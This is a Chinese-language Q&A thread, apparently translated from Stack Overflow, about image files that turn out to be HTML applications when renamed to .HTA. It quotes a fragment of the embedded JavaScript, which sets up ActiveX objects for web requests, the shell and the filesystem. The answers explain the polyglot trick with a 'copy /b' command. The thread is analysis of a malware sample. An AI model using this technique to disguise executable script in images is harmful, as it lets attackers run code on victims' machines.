3

我注意到分发潜在不安全代码的新趋势,人们会将图像发布到带有水印的服务器,建议他们将文件名更改为具有 .HTA 文件扩展名。

我意识到 .HTA 是一个 HTML 应用程序文件,它受到 Microsoft 逻辑的隐式信任,并且可以包含几乎任何基于 Web 的代码。我用我最喜欢的文本编辑器打开了这个文件,令我惊讶的是,图像文件中有 Javascript 代码!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV

//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");

源代码下面还有更多乱码的图像数据。这只是一个片段。

我很想知道他们如何能够将 Javascript 代码添加到图像文件中,而不会破坏图像文件格式并使其无法查看。我把这个介绍给了我的一些同事,他们同样被难住了。

4

2 回答 2

1

这里的问题是自由的文件格式容差。

JPG 解释器可以忽略“损坏”的非图像数据。这就是您可以在下载时查看大型 JPG 的方式。HTA 解释器足够宽容,可以忽略文件顶部的所有奇怪的“文本”,并继续评估下面看起来像标记和脚本的东西。

这里还有另一篇关于这种奇怪行为的帖子: 我可以在 .hta 文件中嵌入一个图标吗? 在其中,Alexandre Jasmine建议使用以下命令行在 HTA 中嵌入一个图标:

      copy /b icon.ico+source.hta iconapp.hta

您找到的图像/脚本可能是使用这种技术创建的。

您没有包含整个脚本,但是您展示的内容看起来很吓人。具有 Web 连接、shell 和文件系统对象的 HTA 脚本可以对您的本地文件系统执行任何操作,然后在完成后打电话回家。

于 2012-05-11T00:36:55.397 回答
1

我的猜测是,这是某种多部分文件(包含图像和脚本数据会非常好),可能会立即执行(在本地上下文中),因为它被视为超文本应用程序。

有关更多信息,我们需要查看完整的实际文件。

于 2010-08-08T18:22:04.363 回答